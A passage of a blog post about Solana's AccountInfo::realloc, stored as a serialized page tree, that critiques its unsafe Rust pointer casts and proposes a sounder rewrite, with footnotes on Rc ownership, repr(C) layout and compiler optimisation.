}," u32",{"type":24,"tag":83,"props":17288,"children":17289},{"style":107},[17290],{"type":29,"value":321},{"type":24,"tag":83,"props":17292,"children":17293},{"class":85,"line":345},[17294,17299,17304,17308],{"type":24,"tag":83,"props":17295,"children":17296},{"style":143},[17297],{"type":29,"value":17298},"    *",{"type":24,"tag":83,"props":17300,"children":17301},{"style":137},[17302],{"type":29,"value":17303},"original_data_len_ptr",{"type":24,"tag":83,"props":17305,"children":17306},{"style":90},[17307],{"type":29,"value":8572},{"type":24,"tag":83,"props":17309,"children":17310},{"style":3163},[17311],{"type":29,"value":16710},{"type":24,"tag":83,"props":17313,"children":17314},{"class":85,"line":358},[17315],{"type":24,"tag":83,"props":17316,"children":17317},{"style":107},[17318],{"type":29,"value":464},{"type":24,"tag":25,"props":17320,"children":17321},{},[17322,17324,17329,17331,17336,17338,17343,17345,17350,17352,17359,17361,17368,17369,17376,17377,17384,17385,17392],{"type":29,"value":17323},"It's marked ",{"type":24,"tag":32,"props":17325,"children":17327},{"className":17326},[],[17328],{"type":29,"value":14099},{"type":29,"value":17330},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":32,"props":17332,"children":17334},{"className":17333},[],[17335],{"type":29,"value":13383},{"type":29,"value":17337},", which originally was not ",{"type":24,"tag":32,"props":17339,"children":17341},{"className":17340},[],[17342],{"type":29,"value":14099},{"type":29,"value":17344},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":32,"props":17346,"children":17348},{"className":17347},[],[17349],{"type":29,"value":14099},{"type":29,"value":17351}," block and added ",{"type":24,"tag":2033,"props":17353,"children":17356},{"href":17354,"rel":17355},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[2037],[17357],{"type":29,"value":17358},"a doc comment",{"type":29,"value":17360}," - adding to the ",{"type":24,"tag":2033,"props":17362,"children":17365},{"href":17363,"rel":17364},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[2037],[17366],{"type":29,"value":17367},"small",{"type":29,"value":6204},{"type":24,"tag":2033,"props":17370,"children":17373},{"href":17371,"rel":17372},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[2037],[17374],{"type":29,"value":17375},"pile",{"type":29,"value":6204},{"type":24,"tag":2033,"props":17378,"children":17381},{"href":17379,"rel":17380},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[2037],[17382],{"type":29,"value":17383},"of",{"type":29,"value":6204},{"type":24,"tag":2033,"props":17386,"children":17389},{"href":17387,"rel":17388},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[2037],[17390],{"type":29,"value":17391},"functions",{"type":29,"value":17393}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":51,"props":17395,"children":17397},{"id":17396},"towards-safer-unsafe",[17398,17400],{"type":29,"value":17399},"Towards safer ",{"type":24,"tag":32,"props":17401,"children":17403},{"className":17402},[],[17404],{"type":29,"value":14099},{"type":24,"tag":25,"props":17406,"children":17407},{},[17408,17410,17415,17417,17422,17424,17430],{"type":29,"value":17409},"Let's circle back to that main ",{"type":24,"tag":32,"props":17411,"children":17413},{"className":17412},[],[17414],{"type":29,"value":14099},{"type":29,"value":17416}," block inside ",{"type":24,"tag":32,"props":17418,"children":17420},{"className":17419},[],[17421],{"type":29,"value":13383},{"type":29,"value":17423}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":2033,"props":17425,"children":17428},{"href":17426,"rel":17427},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[2037],[17429],{"type":29,"value":563},{"type":29,"value":195},{"type":24,"tag":73,"props":17432,"children":17434},{"className":2725,"code":17433,"language":2724,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[17435],{"type":24,"tag":32,"props":17436,"children":17437},{"__ignoreMap":7},[17438,17446,17457,17465,17552,17583,17590,17598,17725,17756],{"type":24,"tag":83,"props":17439,"children":17440},{"class":85,"line":86},[17441],{"type":24,"tag":83,"props":17442,"children":17443},{"style":2735},[17444],{"type":29,"value":17445},"// realloc\n",{"type":24,"tag":83,"props":17447,"children":17448},{"class":85,"line":113},[17449,17453],{"type":24,"tag":83,"props":17450,"children":17451},{"style":90},[17452],{"type":29,"value":14099},{"type":24,"tag":83,"props":17454,"children":17455},{"style":107},[17456],{"type":29,"value":125},{"type":24,"tag":83,"props":17458,"children":17459},{"class":85,"line":128},[17460],{"type":24,"tag":83,"props":17461,"children":17462},{"style":2735},[17463],{"type":29,"value":17464},"    // First set new length in the serialized data\n",{"type":24,"tag":83,"props":17466,"children":17467},{"class":85,"line":183},[17468,17472,17476,17480,17484,17488,17492,17496,17500,17504,17508,17512,17516,17520,17524,17528,17532,17536,17540,17544,17548],{"type":24,"tag":83,"props":17469,"children":17470},{"style":90},[17471],{"type":29,"value":2746},{"type":24,"tag":83,"props":17473,"children":17474},{"style":137},[17475],{"type":29,"value":13602},{"type":24,"tag":83,"props":17477,"children":17478},{"style":143},[17479],{"type":29,"value":146},{"type":24,"tag":83,"props":17481,"children":17482},{"style":90},[17483],{"type":29,"value":13542},{"type":24,"tag":83,"props":17485,"children":17486},{"style":143},[17487],{"type":29,"value":161},{"type":24,"tag":83,"props":17489,"children":17490},{"style":101},[17491],{"type":29,"value":13619},{"type":24,"tag":83,"props":17493,"children":17494},{"style":107},[17495],{"type":29,"value":13624},{"type":24,"tag":83,"props":17497,"children":17498},{"style":143},[17499],{"type":29,"value":2877},{"type":24,"tag":83,"props":17501,"children":17502},{"style":101},[17503],{"type":29,"value":13633},{"type":24,"tag":83,"props":17505,"children":17506},{"style":107},[17507],{"type":29,"value":13624},{"type":24,"tag":83,"props":17509,"children":17510},{"style":143},[17511],{"type":29,"value":161},{"type":24,"tag":83,"props":17513,"children":17514},{"style":101},[17515],{"type":29,"value":13646},{"type":24,"tag":83,"props":17517,"children":17518},{"style":107},[17519],{"type":29,"value":558},{"type":24,"tag":83,"props":17521,"children":17522},{"style":143},[17523],{"type":29,"value":4072},{"type":24,"tag":83,"props":17525,"children":17526},{"style":245},[17527],{"type":29,"value":3819},{"type":24,"tag":83,"props":17529,"children":17530},{"style":107},[17531],{"type":29,"value":633},{"type":24,"tag":83,"props":17533,"children":17534},{"style":90},[17535],{"type":29,"value":8586},{"type":24,"tag":83,"props":17537,"children":17538},{"style":143},[17539],{"type":29,"value":9563},{"type":24,"tag":83,"props":17541,"children":17542},{"style":90},[17543],{"type":29,"value":3468},{"type":24,"tag":83,"props":17545,"children":17546},{"style":3163},[17547],{"type":29,"value":5606},{"type":24,"tag":83,"props":17549,"children":17550},{"style":107},[17551],{"type":29,"value":321},{"type":24,"tag":83,"props":17553,"children":17554},{"class":85,"line":203},[17555,17559,17563,17567,17571,17575,17579],{"type":24,"tag":83,"props":17556,"children":17557},{"style":143},[17558],{"type":29,"value":17298},{"type":24,"tag":83,"props":17560,"children":17561},{"style":137},[17562],{"type":29,"value":13694},{"type":24,"tag":83,"props":17564,"children":17565},{"style":143},[17566],{"type":29,"value":146},{"type":24,"tag":83,"props":17568,"children":17569},{"style":137},[17570],{"type":29,"value":13703},{"type":24,"tag":83,"props":17572,"children":17573},{"style":90},[17574],{"type":29,"value":8572},{"type":24,"tag":83,"props":17576,"children":17577},{"style":3163},[17578],{"type":29,"value":5606},{"type":24,"tag":83,"props":17580,"children":17581},{"style":107},[17582],{"type":29,"value":321},{"type":24,"tag":83,"props":17584,"children":17585},{"class":85,"line":212},[17586],{"type":24,"tag":83,"props":17587,"children":17588},{"emptyLinePlaceholder":16},[17589],{"type":29,"value":3422},{"type":24,"tag":83,"props":17591,"children":17592},{"class":85,"line":256},[17593],{"type":24,"tag":83,"props":17594,"children":17595},{"style":2735},[17596],{"type":29,"value":17597},"    // Then set the new length in the local slice\n",{"type":24,"tag":83,"props":17599,"children":17600},{"class":85,"line":270},[17601,17605,17609,17613,17617,17621,17625,17629,17633,17637,17641,17645,17649,17653,17657,17661,17665,17669,17673,17677,17681,17685,17689,17693,17697,17701,17705,17709,17713,17717,17721],{"type":24,"tag":83,"props":17602,"children":17603},{"style":90},[17604],{"type":29,"value":2746},{"type":24,"tag":83,"props":17606,"children":17607},{"style":137},[17608],{"type":29,"value":13602},{"type":24,"tag":83,"props":17610,"children":17611},{"style":143},[17612],{"type":29,"value":146},{"type":24,"tag":83,"props":17614,"children":17615},{"style":143},[17616],{"type":29,"value":6888},{"type":24,"tag":83,"props":17618,"children":17619},{"style":90},[17620],{"type":29,"value":3468},{"type":24,"tag":83,"props":17622,"children":17623},{"style":143},[17624],{"type":29,"value":9563},{"type":24,"tag":83,"props":17626,"children":17627},{"style":107},[17628],{"type":29,"value":13762},{"type":24,"tag":83,"props":17630,"children":17631},{"style":90},[17632],{"type":29,"value":13458},{"type":24,"tag":83,"props":17634,"children":17635},{"style":143},[17636],{"type":29,"value":161},{"type":24,"tag":83,"props":17638,"children":17639},{"style":107},[17640],{"type":29,"value":839},{"type":24,"tag":83,"props":17642,"children":17643},{"style":143},[17644],{"type":29,"value":161},{"type":24,"tag":83,"props":17646,"children":17647},{"style":101},[17648],{"type":29,"value":13783},{"type":24,"tag":83,"props":17650,"children":17651},{"style":107},[17652],{"type":29,"value":13788},{"type":24,"tag":83,"props":17654,"children":17655},{"style":90},[17656],{"type":29,"value":8586},{"type":24,"tag":83,"props":17658,"children":17659},{"style":143},[17660],{"type":29,"value":9563},{"type":24,"tag":83,"props":17662,"children":17663},{"style":90},[17664],{"type":29,"value":9401},{"type":24,"tag":83,"props":17666,"children":17667},{"style":3163},[17668],{"type":29,"value":5606},{"type":24,"tag":83,"props":17670,"children":17671},{"style":107},[17672],{"type":29,"value":2872},{"type":24,"tag":83,"props":17674,"children":17675},{"style":143},[17676],{"type":29,"value":161},{"type":24,"tag":83,"props":17678,"children":17679},{"style":101},[17680],{"type":29,"value":13646},{"type":24,"tag":83,"props":17682,"children":17683},{"style":107},[17684],{"type":29,"value":558},{"type":24,"tag":83,"props":17686,"children":17687},{"style":245},[17688],{"type":29,"value":3756},{"type":24,"tag":83,"props":17690,"children":17691},{"style":107},[17692],{"type":29,"value":633},{"type":24,"tag":83,"props":17694,"children":17695},{"style":90},[17696],{"type":29,"value":8586},{"type":24,"tag":83,"props":17698,"children":17699},{"style":3163},[17700],{"type":29,"value":5606},{"type":24,"tag":83,"props":17702,"children":17703},{"style":107},[17704],{"type":29,"value":633},{"type":24,"tag":83,"props":17706,"children":17707},{"style":90},[17708],{"type":29,"value":8586},{"type":24,"tag":83,"props":17710,"children":17711},{"style":143},[17712],{"type":29,"value":9563},{"type":24,"tag":83,"props":17714,"children":17715},{"style":90},[17716],{"type":29,"value":3468},{"type":24,"tag":83,"props":17718,"children":17719},{"style":3163},[17720],{"type":29,"value":5606},{"type":24,"tag":83,"props":17722,"children":17723},{"style":107},[17724],{"type":29,"value":581},{"type":24,"tag":83,"props":17726,"children":17727},{"class":85,"line":302},[17728,17732,17736,17740,17744,17748,17752],{"type":24,"tag":83,"props":17729,"children":17730},{"style":143},[17731],{"type":29,"value":17298},{"type":24,"tag":83,"props":17733,"children":17734},{"style":137},[17735],{"type":29,"value":13694},{"type":24,"tag":83,"props":17737,"children":17738},{"style":143},[17739],{"type":29,"value":146},{"type":24,"tag":83,"props":17741,"children":17742},{"style":137},[17743],{"type":29,"value":13703},{"type":24,"tag":83,"props":17745,"children":17746},{"style":90},[17747],{"type":29,"value":8572},{"type":24,"tag":83,"props":17749,"children":17750},{"style":3163},[17751],{"type":29,"value":5606},{"type":24,"tag":83,"props":17753,"children":17754},{"style":107},[17755],{"type":29,"value":321},{"type":24,"tag":83,"props":17757,"children":17758},{"class":85,"line":324},[17759],{"type":24,"tag":83,"props":17760,"children":17761},{"style":107},[17762],{"type":29,"value":464},{"type":24,"tag":25,"props":17764,"children":17765},{},[17766,17768,17773],{"type":29,"value":17767},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":32,"props":17769,"children":17771},{"className":17770},[],[17772],{"type":29,"value":15243},{"type":29,"value":17774}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":17776,"children":17777},{},[17778,17780,17785,17787,17792,17794,17799,17801,17806,17808,17813,17815,17821,17823,17833,17835,17846],{"type":29,"value":17779},"First, let's deal with the ",{"type":24,"tag":32,"props":17781,"children":17783},{"className":17782},[],[17784],{"type":29,"value":15243},{"type":29,"value":17786}," borrowing issue. When we ",{"type":24,"tag":32,"props":17788,"children":17790},{"className":17789},[],[17791],{"type":29,"value":13619},{"type":29,"value":17793},", we get a ",{"type":24,"tag":32,"props":17795,"children":17797},{"className":17796},[],[17798],{"type":29,"value":16477},{"type":29,"value":17800}," back, which represents our borrow of the ",{"type":24,"tag":32,"props":17802,"children":17804},{"className":17803},[],[17805],{"type":29,"value":15243},{"type":29,"value":17807},"'s data. The fix here is simple: keep that ",{"type":24,"tag":32,"props":17809,"children":17811},{"className":17810},[],[17812],{"type":29,"value":16477},{"type":29,"value":17814}," around and use it to access the data, instead of using ",{"type":24,"tag":32,"props":17816,"children":17818},{"className":17817},[],[17819],{"type":29,"value":17820},"RefCell::as_ptr",{"type":29,"value":17822},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":15213,"props":17824,"children":17825},{},[17826],{"type":24,"tag":2033,"props":17827,"children":17831},{"href":17828,"ariaDescribedBy":17829,"dataFootnoteRef":7,"id":17830},"#user-content-fn-rustc-llvm",[15220],"user-content-fnref-rustc-llvm",[17832],{"type":29,"value":17265},{"type":29,"value":17834}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":15213,"props":17836,"children":17837},{},[17838],{"type":24,"tag":2033,"props":17839,"children":17843},{"href":17840,"ariaDescribedBy":17841,"dataFootnoteRef":7,"id":17842},"#user-content-fn-godbolt",[15220],"user-content-fnref-godbolt",[17844],{"type":29,"value":17845},"5",{"type":29,"value":17847},". So then we get:",{"type":24,"tag":73,"props":17849,"children":17851},{"className":2725,"code":17850,"language":2724,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[17852],{"type":24,"tag":32,"props":17853,"children":17854},{"__ignoreMap":7},[17855,17899,17906,17913,17997,18037,18044,18051],{"type":24,"tag":83,"props":17856,"children":17857},{"class":85,"line":86},[17858,17862,17866,17871,17875,17879,17883,17887,17891,17895],{"type":24,"tag":83,"props":17859,"children":17860},{"style":90},[17861],{"type":29,"value":11534},{"type":24,"tag":83,"props":17863,"children":17864},{"style":90},[17865],{"type":29,"value":2751},{"type":24,"tag":83,"props":17867,"children":17868},{"style":137},[17869],{"type":29,"value":17870}," slice",{"type":24,"tag":83,"props":17872,"children":17873},{"style":143},[17874],{"type":29,"value":146},{"type":24,"tag":83,"props":17876,"children":17877},{"style":90},[17878],{"type":29,"value":13542},{"type":24,"tag":83,"props":17880,"children":17881},{"style":143},[17882],{"type":29,"value":161},{"type":24,"tag":83,"props":17884,"children":17885},{"style":101},[17886],{"type":29,"value":13619},{"type":24,"tag":83,"props":17888,"children":17889},{"style":107},[17890],{"type":29,"value":13624},{"type":24,"tag":83,"props":17892,"children":17893},{"style":143},[17894],{"type":29,"value":2900},{"type":24,"tag":83,"props":17896,"children":17897},{"style":107},[17898],{"type":29,"value":321},{"type":24,"tag":83,"props":17900,"children":17901},{"class":85,"line":113},[17902],{"type":24,"tag":83,"props":17903,"children":17904},{"emptyLinePlaceholder":16},[17905],{"type":29,"value":3422},{"type":24,"tag":83,"props":17907,"children":17908},{"class":85,"line":128},[17909],{"type":24,"tag":83,"props":17910,"children":17911},{"style":2735},[17912],{"type":29,"value":14146},{"type":24,"tag":83,"props":17914,"children":17915},{"class":85,"line":183},[17916,17920,17924,17928,17932,17936,17940,17944,17948,17952,17956,17960,17964,17968,17972,17977,17981,17985,17989,17993],{"type":24,"tag":83,"props":17917,"children":17918},{"style":90},[17919],{"type":29,"value":11534},{"type":24,"tag":83,"props":17921,"children":17922},{"style":137},[17923],{"type":29,"value":13602},{"type":24,"tag":83,"props":17925,"children":17926},{"style":143},[17927],{"type":29,"value":146},{"type":24,"tag":83,"props":17929,"children":17930},{"style":90},[17931],{"type":29,"value":14333},{"type":24,"tag":83,"props":17933,"children":17934},{"style":107},[17935],{"type":29,"value":9333},{"type":24,"tag":83,"props":17937,"children":17938},{"style":137},[17939],{"type":29,"value":15054},{"type":24,"tag":83,"props":17941,"children":17942},{"style":143},[17943],{"type":29,"value":161},{"type":24,"tag":83,"props":17945,"children":17946},{"style":101},[17947],{"type":29,"value":13633},{"type":24,"tag":83,"props":17949,"children":17950},{"style":107},[17951],{"type":29,"value":13624},{"type":24,"tag":83,"props":17953,"children":17954},{"style":143},[17955],{"type":29,"value":161},{"type":24,"tag":83,"props":17957,"children":17958},{"style":101},[17959],{"type":29,"value":13646},{"type":24,"tag":83,"props":17961,"children":17962},{"style":107},[17963],{"type":29,"value":558},{"type":24,"tag":83,"props":17965,"children":17966},{"style":143},[17967],{"type":29,"value":4072},{"type":24,"tag":83,"props":17969,"children":17970},{"style":245},[17971],{"type":29,"value":3819},{"type":24,"tag":83,"props":17973,"children":17974},{"style":107},[17975],{"type":29,"value":17976},") } ",{"type":24,"tag":83,"props":17978,"children":17979},{"style":90},[17980],{"type":29,"value":8586},{"type":24,"tag":83,"props":17982,"children":17983},{"style":143},[17984],{"type":29,"value":9563},{"type":24,"tag":83,"props":17986,"children":17987},{"style":90},[17988],{"type":29,"value":3468},{"type":24,"tag":83,"props":17990,"children":17991},{"style":3163},[17992],{"type":29,"value":5606},{"type":24,"tag":83,"props":17994,"children":17995},{"style":107},[17996],{"type":29,"value":321},{"type":24,"tag":83,"props":17998,"children":17999},{"class":85,"line":203},[18000,18004,18008,18012,18016,18020,18024,18028,18032],{"type":24,"tag":83,"props":18001,"children":18002},{"style":90},[18003],{"type":29,"value":14099},{"type":24,"tag":83,"props":18005,"children":18006},{"style":107},[18007],{"type":29,"value":9333},{"type":24,"tag":83,"props":18009,"children":18010},{"style":143},[18011],{"type":29,"value":4315},{"type":24,"tag":83,"props":18013,"children":18014},{"style":137},[18015],{"type":29,"value":13694},{"type":24,"tag":83,"props":18017,"children":18018},{"style":143},[18019],{"type":29,"value":146},{"type":24,"tag":83,"props":18021,"children":18022},{"style":137},[18023],{"type":29,"value":13703},{"type":24,"tag":83,"props":18025,"children":18026},{"style":90},[18027],{"type":29,"value":8572},{"type":24,"tag":83,"props":18029,"children":18030},{"style":3163},[18031],{"type":29,"value":5606},{"type":24,"tag":83,"props":18033,"children":18034},{"style":107},[18035],{"type":29,"value":18036}," };\n",{"type":24,"tag":83,"props":18038,"children":18039},{"class":85,"line":212},[18040],{"type":24,"tag":83,"props":18041,"children":18042},{"emptyLinePlaceholder":16},[18043],{"type":29,"value":3422},{"type":24,"tag":83,"props":18045,"children":18046},{"class":85,"line":256},[18047],{"type":24,"tag":83,"props":18048,"children":18049},{"style":2735},[18050],{"type":29,"value":15876},{"type":24,"tag":83,"props":18052,"children":18053},{"class":85,"line":270},[18054,18058,18062,18066,18070,18075,18079,18083,18087,18092,18096,18100,18104,18108,18113,18117],{"type":24,"tag":83,"props":18055,"children":18056},{"style":143},[18057],{"type":29,"value":4315},{"type":24,"tag":83,"props":18059,"children":18060},{"style":137},[18061],{"type":29,"value":15054},{"type":24,"tag":83,"props":18063,"children":18064},{"style":143},[18065],{"type":29,"value":146},{"type":24,"tag":83,"props":18067,"children":18068},{"style":90},[18069],{"type":29,"value":14333},{"type":24,"tag":83,"props":18071,"children":18072},{"style":107},[18073],{"type":29,"value":18074}," { std",{"type":24,"tag":83,"props":18076,"children":18077},{"style":143},[18078],{"type":29,"value":3226},{"type":24,"tag":83,"props":18080,"children":18081},{"style":107},[18082],{"type":29,"value":15054},{"type":24,"tag":83,"props":18084,"children":18085},{"style":143},[18086],{"type":29,"value":3226},{"type":24,"tag":83,"props":18088,"children":18089},{"style":101},[18090],{"type":29,"value":18091},"from_raw_parts_mut",{"type":24,"tag":83,"props":18093,"children":18094},{"style":107},[18095],{"type":29,"value":558},{"type":24,"tag":83,"props":18097,"children":18098},{"style":137},[18099],{"type":29,"value":15054},{"type":24,"tag":83,"props":18101,"children":18102},{"style":143},[18103],{"type":29,"value":161},{"type":24,"tag":83,"props":18105,"children":18106},{"style":101},[18107],{"type":29,"value":13633},{"type":24,"tag":83,"props":18109,"children":18110},{"style":107},[18111],{"type":29,"value":18112},"(), ",{"type":24,"tag":83,"props":18114,"children":18115},{"style":137},[18116],{"type":29,"value":13467},{"type":24,"tag":83,"props":18118,"children":18119},{"style":107},[18120],{"type":29,"value":14488},{"type":24,"tag":25,"props":18122,"children":18123},{},[18124,18126,18131,18133,18138,18140,18145,18147],{"type":29,"value":18125},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":32,"props":18127,"children":18129},{"className":18128},[],[18130],{"type":29,"value":7789},{"type":29,"value":18132}," and not a ",{"type":24,"tag":32,"props":18134,"children":18136},{"className":18135},[],[18137],{"type":29,"value":16336},{"type":29,"value":18139}," for the size field, given that ",{"type":24,"tag":32,"props":18141,"children":18143},{"className":18142},[],[18144],{"type":29,"value":16336},{"type":29,"value":18146}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":15213,"props":18148,"children":18149},{},[18150],{"type":24,"tag":2033,"props":18151,"children":18155},{"href":18152,"ariaDescribedBy":18153,"dataFootnoteRef":7,"id":18154},"#user-content-fn-slice-unbound-lifetime",[15220],"user-content-fnref-slice-unbound-lifetime",[18156],{"type":29,"value":18157},"6",{"type":24,"tag":18159,"props":18160,"children":18163},"section",{"className":18161,"dataFootnotes":7},[18162],"footnotes",[18164,18171],{"type":24,"tag":51,"props":18165,"children":18168},{"className":18166,"id":15220},[18167],"sr-only",[18169],{"type":29,"value":18170},"Footnotes",{"type":24,"tag":63,"props":18172,"children":18173},{},[18174,18279,18297,18352,18365,18393],{"type":24,"tag":67,"props":18175,"children":18177},{"id":18176},"user-content-fn-rc-refs",[18178,18180,18186,18188,18193,18195,18199,18201,18205,18207,18212,18214,18220,18222,18227,18229,18239,18241,18246,18248,18253,18255,18260,18262,18268,18270],{"type":29,"value":18179},"I find it helpful to view owning an ",{"type":24,"tag":32,"props":18181,"children":18183},{"className":18182},[],[18184],{"type":29,"value":18185},"Rc\u003CT>",{"type":29,"value":18187}," as holding a shared reference to the underlying ",{"type":24,"tag":32,"props":18189,"children":18191},{"className":18190},[],[18192],{"type":29,"value":5733},{"type":29,"value":18194}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":2655,"props":18196,"children":18197},{},[18198],{"type":29,"value":16193},{"type":29,"value":18200}," ensures that the actual ",{"type":24,"tag":2655,"props":18202,"children":18203},{},[18204],{"type":29,"value":839},{"type":29,"value":18206}," stays alive, however all you have is a reference to the ",{"type":24,"tag":32,"props":18208,"children":18210},{"className":18209},[],[18211],{"type":29,"value":5733},{"type":29,"value":18213}," (through the ",{"type":24,"tag":32,"props":18215,"children":18217},{"className":18216},[],[18218],{"type":29,"value":18219},"Deref\u003CTarget = T>",{"type":29,"value":18221}," impl) - ",{"type":24,"tag":2655,"props":18223,"children":18224},{},[18225],{"type":29,"value":18226},"not",{"type":29,"value":18228}," ownership ",{"type":24,"tag":2655,"props":18230,"children":18231},{},[18232,18234],{"type":29,"value":18233},"of the ",{"type":24,"tag":32,"props":18235,"children":18237},{"className":18236},[],[18238],{"type":29,"value":5733},{"type":29,"value":18240},". In short, owning an ",{"type":24,"tag":32,"props":18242,"children":18244},{"className":18243},[],[18245],{"type":29,"value":18185},{"type":29,"value":18247}," is owning a (shared, read-only) reference to ",{"type":24,"tag":32,"props":18249,"children":18251},{"className":18250},[],[18252],{"type":29,"value":5733},{"type":29,"value":18254},", not owning ",{"type":24,"tag":32,"props":18256,"children":18258},{"className":18257},[],[18259],{"type":29,"value":5733},{"type":29,"value":18261}," directly like with ",{"type":24,"tag":32,"props":18263,"children":18265},{"className":18264},[],[18266],{"type":29,"value":18267},"Box\u003CT>",{"type":29,"value":18269},". ",{"type":24,"tag":2033,"props":18271,"children":18276},{"href":18272,"ariaLabel":18273,"className":18274,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18275],"data-footnote-backref",[18277],{"type":29,"value":18278},"↩",{"type":24,"tag":67,"props":18280,"children":18282},{"id":18281},"user-content-fn-sendsync",[18283,18289,18290],{"type":24,"tag":32,"props":18284,"children":18286},{"className":18285},[],[18287],{"type":29,"value":18288},"!Send + !Sync",{"type":29,"value":6204},{"type":24,"tag":2033,"props":18291,"children":18295},{"href":18292,"ariaLabel":18293,"className":18294,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18275],[18296],{"type":29,"value":18278},{"type":24,"tag":67,"props":18298,"children":18300},{"id":18299},"user-content-fn-layout",[18301,18303,18308,18309,18322,18324,18329,18331,18336,18338,18343,18345],{"type":29,"value":18302},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":32,"props":18304,"children":18306},{"className":18305},[],[18307],{"type":29,"value":14681},{"type":29,"value":5246},{"type":24,"tag":2033,"props":18310,"children":18313},{"href":18311,"rel":18312},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[2037],[18314,18316],{"type":29,"value":18315},"not declared with ",{"type":24,"tag":32,"props":18317,"children":18319},{"className":18318},[],[18320],{"type":29,"value":18321},"#[repr(C)]",{"type":29,"value":18323},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":2655,"props":18325,"children":18326},{},[18327],{"type":29,"value":18328},"breaks the entire chain",{"type":29,"value":18330}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":2655,"props":18332,"children":18333},{},[18334],{"type":29,"value":18335},"some",{"type":29,"value":18337}," kind of interface to the specific layout of the specific ",{"type":24,"tag":32,"props":18339,"children":18341},{"className":18340},[],[18342],{"type":29,"value":16245},{"type":29,"value":18344}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":2033,"props":18346,"children":18350},{"href":18347,"ariaLabel":18348,"className":18349,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18275],[18351],{"type":29,"value":18278},{"type":24,"tag":67,"props":18353,"children":18355},{"id":18354},"user-content-fn-rustc-llvm",[18356,18358],{"type":29,"value":18357},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":2033,"props":18359,"children":18363},{"href":18360,"ariaLabel":18361,"className":18362,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18275],[18364],{"type":29,"value":18278},{"type":24,"tag":67,"props":18366,"children":18368},{"id":18367},"user-content-fn-godbolt",[18369,18376,18378,18384,18386],{"type":24,"tag":2033,"props":18370,"children":18373},{"href":18371,"rel":18372},"https://godbolt.org/z/PK46xMbxc",[2037],[18374],{"type":29,"value":18375},"Click here",{"type":29,"value":18377}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":32,"props":18379,"children":18381},{"className":18380},[],[18382],{"type":29,"value":18383},"libcore",{"type":29,"value":18385}," available for other architectures yet. ",{"type":24,"tag":2033,"props":18387,"children":18391},{"href":18388,"ariaLabel":18389,"className":18390,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[18275],[18392],{"type":29,"value":18278},{"type":24,"tag":67,"props":18394,"children":18396},{"id":18395},"user-content-fn-slice-unbound-lifetime",[18397,18399,18404,18406,18412,18414,18420,18422,18428,18430,18436,18438,18444,18446,18451,18453],{"type":29,"value":18398},"The astute reader may have noticed that ",{"type":24,"tag":32,"props":18400,"children":18402},{"className":18401},[],[18403],{"type":29,"value":18091},{"type":29,"value":18405}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":32,"props":18407,"children":18409},{"className":18408},[],[18410],{"type":29,"value":18411},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":18413},", the lifetime parameter ",{"type":24,"tag":32,"props":18415,"children":18417},{"className":18416},[],[18418],{"type":29,"value":18419},"'a",{"type":29,"value":18421}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":32,"props":18423,"children":18425},{"className":18424},[],[18426],{"type":29,"value":18427},"*slice",{"type":29,"value":18429},", which is ",{"type":24,"tag":32,"props":18431,"children":18433},{"className":18432},[],[18434],{"type":29,"value":18435},"&'info [u8]",{"type":29,"value":18437}," (where 